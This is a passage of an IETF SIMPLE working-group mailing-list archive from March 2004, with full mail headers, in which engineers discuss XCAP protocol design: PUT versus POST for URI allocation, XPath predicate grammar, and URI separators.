Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1IOq-0006Jk-00
	for simple-web-archive@ietf.org; Thu, 11 Mar 2004 00:06:29 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1IOP-0006A5-00; Thu, 11 Mar 2004 00:06:01 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1IOP-000297-Hb; Thu, 11 Mar 2004 00:06:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1INk-00025l-3J
	for simple@optimus.ietf.org; Thu, 11 Mar 2004 00:05:20 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA27331
	for <simple@ietf.org>; Thu, 11 Mar 2004 00:05:17 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1INh-00067p-00
	for simple@ietf.org; Thu, 11 Mar 2004 00:05:17 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1IMo-0005ym-00
	for simple@ietf.org; Thu, 11 Mar 2004 00:04:23 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1IMI-0005p3-00
	for simple@ietf.org; Thu, 11 Mar 2004 00:03:50 -0500
Received: from dynamicsoft.com ([63.113.46.42])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2B53VNr016493;
	Thu, 11 Mar 2004 00:03:31 -0500 (EST)
Message-ID: <404FF318.2000302@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jari Urpalainen <Jari.Urpalainen@nokia.com>
CC: Dean Willis <dean.willis@softarmor.com>,
        "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>, simple@ietf.org
Subject: Re: [Simple] PUT vs POST in XCAP
References: <4046A8FA.5000008@softarmor.com> <4046D26B.70408@nokia.com>	 <404711F8.9080807@softarmor.com>  <404D7E68.8090304@dynamicsoft.com> <1078829916.13856.49.camel@xitami.research.nokia.com>
In-Reply-To: <1078829916.13856.49.camel@xitami.research.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 11 Mar 2004 00:03:20 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

inline.

Jari Urpalainen wrote:


> 
>>A possible solution to this issue is to cleanly separate the URI 
>>allocation from the manipulation. We could define a separate piece of 
>>the protocol (POST based, perhaps), which has the server allocate the 
>>URI to the client. Once allocated, the client would PUT the entire 
>>document with that URI filled in. In this way, the data manipulation is 
>>using PUT/DELETE and is separated from the server computation.
>>
>>This still requires two round trips to create a list. That seemed to 
>>give people a LOT of heartburn, but I dont think its an optimization we 
>>need to worry about that much. None of these operations are latency 
>>sensitive; at least, not to the point where one round trip vs. two 
>>really makes a difference. Furthermore, we are talkign only about the 
>>creation of the list/conference, which is not likely to be that frequent 
>>of an event. Thus, I dont see a bandwidth issue per se either.
>>
>>-Jonathan R.
>>
> 
> This is probably the best way to go, at least it is better than the
> current one.

Any other comments?


>>>
>>>I'm not an expert on Apache internals, although I have been building web 
>>>sites with it for ten years or so. As I understand it, PUT requests are 
>>>interpreted by the WebDAV module (or by the basic web posting module if 
>>>you don't have the WebDAV module) and literally results in writing a 
>>>file to the file system. Nothing gets "triggered" when this happens, no 
>>>magic application gets invoked to go do things like assign a conference 
>>>number and update the etag, or anything like that. The data just sits 
>>>there in a file. To implement the current XCAP model, you'd have to 
>>>write some magic filesystem-monitoring daemon that notices the file has 
>>>changed, locks it, reads it, and writes it back with new etags. This 
>>>makes for 1) a lot of polling the filesystem for changes, and 2) really 
>>>wicked locking problems between writes-from-apache and 
>>>writes-from-the-magic-daemon to the data. There's probably a more clever 
>>>way to do it, but it's going to be moderately painful in any case.
>>>
> 
> I have been writing an apache module to handle basic xcap-requests. In
> practice, an apache module will get parsed requests (+payload) and the
> module may respond however it wishes. It is not necessary that any
> file-io will ever happen, however in xcap, it is of course desirable.
> There are also other implementation difficulties that could be
> elaborated here, but from the modules point of view, apache only
> provides basic http transport and module has to take care of the all
> "real" handling.

Can you comment on those implementation difficulties? If there are 
aspects of the protocol that make it hard to implement, and some change 
would help, I'd like to know that.

-Jonathan R.
-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar 11 01:58:17 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA02091
	for <simple-archive@ietf.org>; Thu, 11 Mar 2004 01:58:17 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1K92-0000bH-00
	for simple-archive@ietf.org; Thu, 11 Mar 2004 01:58:16 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1K84-0000RL-00
	for simple-archive@ietf.org; Thu, 11 Mar 2004 01:57:17 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1K77-0000IX-00; Thu, 11 Mar 2004 01:56:17 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1K6u-0003hi-4H; Thu, 11 Mar 2004 01:56:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1K6F-0003gO-Tq
	for simple@optimus.ietf.org; Thu, 11 Mar 2004 01:55:24 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA02000
	for <simple@ietf.org>; Thu, 11 Mar 2004 01:55:21 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1K6C-0000AM-00
	for simple@ietf.org; Thu, 11 Mar 2004 01:55:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1K5K-00002F-00
	for simple@ietf.org; Thu, 11 Mar 2004 01:54:27 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1K50-0007hk-00
	for simple@ietf.org; Thu, 11 Mar 2004 01:54:06 -0500
Received: from dynamicsoft.com ([63.113.46.42])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2B6rlNr016569;
	Thu, 11 Mar 2004 01:53:47 -0500 (EST)
Message-ID: <40500CF0.1070906@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jari Urpalainen <Jari.Urpalainen@nokia.com>
CC: simple@ietf.org
References: <1078390601.21131.72.camel@xitami.research.nokia.com>
In-Reply-To: <1078390601.21131.72.camel@xitami.research.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] Re: xcap multiple insertions
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 11 Mar 2004 01:53:36 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Thanks for the comments. inline.

Jari Urpalainen wrote:

> Hi Jonathan !
> 
> I read your XCAP representation in Seoul and I'll have a few comments.
> 
> When selection multiple entries you can't use union "|" there. Union is
> used to select multiple location paths like

Yes, I noticed that xml spy didnt seem to like these expressions, but 
according to the spec at least they seemed ok. From the xpath spec:

[8]   	Predicate	   ::=   	'[' PredicateExpr ']'	
[9]   	PredicateExpr	   ::=   	Expr	
[14]   	Expr	   ::=   	OrExpr	
[21]   	OrExpr	   ::=   	AndExpr	
			| OrExpr 'or' AndExpr	
[22]   	AndExpr	   ::=   	EqualityExpr	
			| AndExpr 'and' EqualityExpr	
[23]   	EqualityExpr	   ::=   	RelationalExpr	
			| EqualityExpr '=' RelationalExpr	
			| EqualityExpr '!=' RelationalExpr	
[24]   	RelationalExpr	   ::=   	AdditiveExpr	
			| RelationalExpr '<' AdditiveExpr	
			| RelationalExpr '>' AdditiveExpr	
			| RelationalExpr '<=' AdditiveExpr	
			| RelationalExpr '>=' AdditiveExpr	
[25]   	AdditiveExpr	   ::=   	MultiplicativeExpr	
			| AdditiveExpr '+' MultiplicativeExpr	
			| AdditiveExpr '-' MultiplicativeExpr	
[26]   	MultiplicativeExpr	   ::=   	UnaryExpr	
			| MultiplicativeExpr MultiplyOperator UnaryExpr	
			| MultiplicativeExpr 'div' UnaryExpr	
			| MultiplicativeExpr 'mod' UnaryExpr	
[27]   	UnaryExpr	   ::=   	UnionExpr	
			| '-' UnaryExpr	
[18]   	UnionExpr	   ::=   	PathExpr	
			| UnionExpr '|' PathExpr	
[19]   	PathExpr	   ::=   	LocationPath	
			| FilterExpr	
			| FilterExpr '/' RelativeLocationPath	
			| FilterExpr '//' RelativeLocationPath	
[20]   	FilterExpr	   ::=   	PrimaryExpr	
			| FilterExpr Predicate	
[15]   	PrimaryExpr	   ::=   	VariableReference	
			| '(' Expr ')'	
			| Literal	
			| Number	
			| FunctionCall	

following this chain of grammar, I concluded that I could have a 
predicate that was an OrExpr, which is an AndExpr, which is an 
EqualityExpr, which is a RelationalExpr, which is an AdditiveExpr, which 
is a MultiplicativeExpr, which is a UnaryExpr, which is a UnionExpr, 
which can be a series of PathExpr separated  by '|', and PathExpr can be 
a FilterExpr which can be a PrimaryExpr, which can be a Number. Thus, 
the predicate 1|2|3 seemed allowed.

What am I missing??



> 
> /element[@attr="test"] | /element/test
> 
> The working solution is to use position() function and "or" logical
> expression i.e.
> 
> /element[position()=1 or position()=2]
> 
> Secondly, you may have missed my earlier posting, where I proposed that
> index could be added onto XPATH expression when one wants to insert new
> item at a specific location i.e.
> 
> /element[@attr="test"][2]

It wasnt clear to me how this is allowed; the basic grammar for step is:

[4]   	Step	   ::=   	AxisSpecifier NodeTest Predicate*	
[8]   	Predicate	   ::=   	'[' PredicateExpr ']'	

which would seem to rule out the above.
Perhaps you could do it with:

/element[@attr="test" and position()=2]

I'll also note that I found xpath confusing with regards to the 
definition of the position() function. It says:

The position function returns a number equal to the context position 
from the expression evaluation context.

However, I could find no formal definition of the context position. Its 
not in InfoSet either.



> 
> which says that you want to insert new item as second item and whose
> attr="test" (assuming of course that you have already many elements and
> the selection uniquely identifies the new item). As the selection
> results as zeros nodes (does not exist yet) then you know that you want
> to add this item and you effectively have to insert this new item
> between the original first and second item. And certainly you can get
> the same data with the same query afterwards.

This sounds right. You'd need to have the constraint that the attribute 
is different compared to the element at the specific location, assuming 
the element has the same name as the one to be inserted. Not a bit 
constraint.

> 
> I'll admit that I am not aware of use-cases for this but IMO the logic
> is so simple that it could be allowed.

What came up during the tutorial session was, if you wanted for the xcap 
server to NOT need to understand the schemas for extensions, you would 
need the client to make sure that the changed document was 
schema-complaint. This would definitely require specifying exactly where 
to insert an element. So, with this, we could in principal keep with the 
idea that the server doesnt need to know the schema, though I'm not sure 
we want to...

> 
> Furthermore, when you give examples I would prefer that you give
> absolute location paths instead of relative as that is the semantics in
> XCAP currently.

OK, thanks.

> 
> Btw. has anybody complained about the case how to detect file-part and
> XPATH-query from each other ? 

No. I did point this out as a limitation with the "/" separator approach 
however.

I could propose that an additional slash
> would be added there i.e. http://example.com/file.xml//list. This would
> help if XPATH-set in XCAP would be extended e.g. with anywhere test
> "//".

Hmm. Thats interesting. It does appear to be a valid http URI according 
to rfc2396; I wonder if intermediaries would possibly have heartburn 
over it though? That was the big issue with using the query parameter "?".

-Jonathan R.
-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar 11 01:58:49 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA02171
	for <simple-archive@odin.ietf.org>; Thu, 11 Mar 2004 01:58:49 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1K97-00045r-Bs
	for simple-archive@odin.ietf.org; Thu, 11 Mar 2004 01:58:21 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2B6wLSF015729
	for simple-archive@odin.ietf.org; Thu, 11 Mar 2004 01:58:21 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1K97-00045c-8D
	for simple-web-archive@optimus.ietf.org; Thu, 11 Mar 2004 01:58:21 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA02109
	for <simple-web-archive@ietf.org>; Thu, 11 Mar 2004 01:58:18 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1K93-0000bP-00
	for simple-web-archive@ietf.org; Thu, 11 Mar 2004 01:58:17 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1K85-0000RU-00
	for simple-web-archive@ietf.org; Thu, 11 Mar 2004 01:57:18 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1K77-0000IX-00; Thu, 11 Mar 2004 01:56:17 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1K6u-0003hi-4H; Thu, 11 Mar 2004 01:56:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1K6F-0003gO-Tq
	for simple@optimus.ietf.org; Thu, 11 Mar 2004 01:55:24 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA02000
	for <simple@ietf.org>; Thu, 11 Mar 2004 01:55:21 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1K6C-0000AM-00
	for simple@ietf.org; Thu, 11 Mar 2004 01:55:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1K5K-00002F-00
	for simple@ietf.org; Thu, 11 Mar 2004 01:54:27 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1K50-0007hk-00
	for simple@ietf.org; Thu, 11 Mar 2004 01:54:06 -0500
Received: from dynamicsoft.com ([63.113.46.42])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2B6rlNr016569;
	Thu, 11 Mar 2004 01:53:47 -0500 (EST)
Message-ID: <40500CF0.1070906@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jari Urpalainen <Jari.Urpalainen@nokia.com>
CC: simple@ietf.org
References: <1078390601.21131.72.camel@xitami.research.nokia.com>
In-Reply-To: <1078390601.21131.72.camel@xitami.research.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] Re: xcap multiple insertions
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 11 Mar 2004 01:53:36 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Thanks for the comments. inline.

Jari Urpalainen wrote:

> Hi Jonathan !
> 
> I read your XCAP representation in Seoul and I'll have a few comments.
> 
> When selection multiple entries you can't use union "|" there. Union is
> used to select multiple location paths like

Yes, I noticed that xml spy didnt seem to like these expressions, but 
according to the spec at least they seemed ok. From the xpath spec:

[8]   	Predicate	   ::=   	'[' PredicateExpr ']'	
[9]   	PredicateExpr	   ::=   	Expr	
[14]   	Expr	   ::=   	OrExpr	
[21]   	OrExpr	   ::=   	AndExpr	
			| OrExpr 'or' AndExpr	
[22]   	AndExpr	   ::=   	EqualityExpr	
			| AndExpr 'and' EqualityExpr	
[23]   	EqualityExpr	   ::=   	RelationalExpr	
			| EqualityExpr '=' RelationalExpr	
			| EqualityExpr '!=' RelationalExpr	
[24]   	RelationalExpr	   ::=   	AdditiveExpr	
			| RelationalExpr '<' AdditiveExpr	
			| RelationalExpr '>' AdditiveExpr	
			| RelationalExpr '<=' AdditiveExpr	
			| RelationalExpr '>=' AdditiveExpr	
[25]   	AdditiveExpr	   ::=   	MultiplicativeExpr	
			| AdditiveExpr '+' MultiplicativeExpr	
			| AdditiveExpr '-' MultiplicativeExpr	
[26]   	MultiplicativeExpr	   ::=   	UnaryExpr	
			| MultiplicativeExpr MultiplyOperator UnaryExpr	
			| MultiplicativeExpr 'div' UnaryExpr	
			| MultiplicativeExpr 'mod' UnaryExpr	
[27]   	UnaryExpr	   ::=   	UnionExpr	
			| '-' UnaryExpr	
[18]   	UnionExpr	   ::=   	PathExpr	
			| UnionExpr '|' PathExpr	
[19]   	PathExpr	   ::=   	LocationPath	
			| FilterExpr	
			| FilterExpr '/' RelativeLocationPath	
			| FilterExpr '//' RelativeLocationPath	
[20]   	FilterExpr	   ::=   	PrimaryExpr	
			| FilterExpr Predicate	
[15]   	PrimaryExpr	   ::=   	VariableReference	
			| '(' Expr ')'	
			| Literal	
			| Number	
			| FunctionCall	

following this chain of grammar, I concluded that I could have a 
predicate that was an OrExpr, which is an AndExpr, which is an 
EqualityExpr, which is a RelationalExpr, which is an AdditiveExpr, which 
is a MultiplicativeExpr, which is a UnaryExpr, which is a UnionExpr, 
which can be a series of PathExpr separated  by '|', and PathExpr can be 
a FilterExpr which can be a PrimaryExpr, which can be a Number. Thus, 
the predicate 1|2|3 seemed allowed.

What am I missing??



> 
> /element[@attr="test"] | /element/test
> 
> The working solution is to use position() function and "or" logical
> expression i.e.
> 
> /element[position()=1 or position()=2]
> 
> Secondly, you may have missed my earlier posting, where I proposed that
> index could be added onto XPATH expression when one wants to insert new
> item at a specific location i.e.
> 
> /element[@attr="test"][2]

It wasnt clear to me how this is allowed; the basic grammar for step is:

[4]   	Step	   ::=   	AxisSpecifier NodeTest Predicate*	
[8]   	Predicate	   ::=   	'[' PredicateExpr ']'	

which would seem to rule out the above.
Perhaps you could do it with:

/element[@attr="test" and position()=2]

I'll also note that I found xpath confusing with regards to the 
definition of the position() function. It says:

The position function returns a number equal to the context position 
from the expression evaluation context.

However, I could find no formal definition of the context position. Its 
not in InfoSet either.



> 
> which says that you want to insert new item as second item and whose
> attr="test" (assuming of course that you have already many elements and
> the selection uniquely identifies the new item). As the selection
> results as zeros nodes (does not exist yet) then you know that you want
> to add this item and you effectively have to insert this new item
> between the original first and second item. And certainly you can get
> the same data with the same query afterwards.

This sounds right. You'd need to have the constraint that the attribute 
is different compared to the element at the specific location, assuming 
the element has the same name as the one to be inserted. Not a bit 
constraint.

> 
> I'll admit that I am not aware of use-cases for this but IMO the logic
> is so simple that it could be allowed.

What came up during the tutorial session was, if you wanted for the xcap 
server to NOT need to understand the schemas for extensions, you would 
need the client to make sure that the changed document was 
schema-complaint. This would definitely require specifying exactly where 
to insert an element. So, with this, we could in principal keep with the 
idea that the server doesnt need to know the schema, though I'm not sure 
we want to...

> 
> Furthermore, when you give examples I would prefer that you give
> absolute location paths instead of relative as that is the semantics in
> XCAP currently.

OK, thanks.

> 
> Btw. has anybody complained about the case how to detect file-part and
> XPATH-query from each other ? 

No. I did point this out as a limitation with the "/" separator approach 
however.

I could propose that an additional slash
> would be added there i.e. http://example.com/file.xml//list. This would
> help if XPATH-set in XCAP would be extended e.g. with anywhere test
> "//".

Hmm. Thats interesting. It does appear to be a valid http URI according 
to rfc2396; I wonder if intermediaries would possibly have heartburn 
over it though? That was the big issue with using the query parameter "?".

-Jonathan R.
-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar 11 05:21:48 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA23473
	for <simple-archive@ietf.org>; Thu, 11 Mar 2004 05:21:48 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1NJz-0002aL-00
	for simple-archive@ietf.org; Thu, 11 Mar 2004 05:21:47 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1NIv-0002P1-00
	for simple-archive@ietf.org; Thu, 11 Mar 2004 05:20:42 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1NIV-0002G5-00; Thu, 11 Mar 2004 05:20:15 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1NIJ-0006zP-V0; Thu, 11 Mar 2004 05:20:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1NHp-0006yB-1w
	for simple@optimus.ietf.org; Thu, 11 Mar 2004 05:19:33 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA23400
	for <simple@ietf.org>; Thu, 11 Mar 2004 05:19:29 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1NHl-0002Bw-00
	for simple@ietf.org; Thu, 11 Mar 2004 05:19:29 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1NGr-00021E-00
	for simple@ietf.org; Thu, 11 Mar 2004 05:18:34 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1NFy-0001pr-00
	for simple@ietf.org; Thu, 11 Mar 2004 05:17:38 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2BAHa414347;
	Thu, 11 Mar 2004 12:17:36 +0200 (EET)
X-Scanned: Thu, 11 Mar 2004 12:17:27 +0200 Nokia Message Protector V1.3.20 2004022613 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i2BAHRYS030756;
	Thu, 11 Mar 2004 12:17:27 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks004.ntc.nokia.com 00BEJKUQ; Thu, 11 Mar 2004 12:17:25 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2BAHJH24626;
	Thu, 11 Mar 2004 12:17:20 +0200 (EET)
Received: from mgw.research.nokia.com ([172.21.33.76]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 11 Mar 2004 12:17:20 +0200
Received: from xitami.research.nokia.com (xitami.research.nokia.com [172.21.40.110])
	by mgw.research.nokia.com (8.9.3/8.9.3) with ESMTP id MAA28229;
	Thu, 11 Mar 2004 12:17:32 +0200 (EET)
From: Jari Urpalainen <Jari.Urpalainen@nokia.com>
To: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: simple@ietf.org
In-Reply-To: <40500CF0.1070906@dynamicsoft.com>
References: <1078390601.21131.72.camel@xitami.research.nokia.com>
	 <40500CF0.1070906@dynamicsoft.com>
Content-Type: text/plain
Message-Id: <1079000238.23502.345.camel@xitami.research.nokia.com>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 11 Mar 2004 10:17:20.0435 (UTC) FILETIME=[09AE5830:01C40752]
Content-Transfer-Encoding: 7bit
Subject: [Simple] Re: xcap multiple insertions
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 11 Mar 2004 12:17:18 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

On Thu, 2004-03-11 at 08:53, ext Jonathan Rosenberg wrote:
> Thanks for the comments. inline.
> 
> Jari Urpalainen wrote:
> 
> > Hi Jonathan !
> > 
> > I read your XCAP representation in Seoul and I'll have a few comments.
> > 
> > When selection multiple entries you can't use union "|" there. Union is
> > used to select multiple location paths like
> 
> Yes, I noticed that xml spy didnt seem to like these expressions, but 
> according to the spec at least they seemed ok. From the xpath spec:
> 
> [8]   	Predicate	   ::=   	'[' PredicateExpr ']'	
> [9]   	PredicateExpr	   ::=   	Expr	
> [14]   	Expr	   ::=   	OrExpr	
> [21]   	OrExpr	   ::=   	AndExpr	
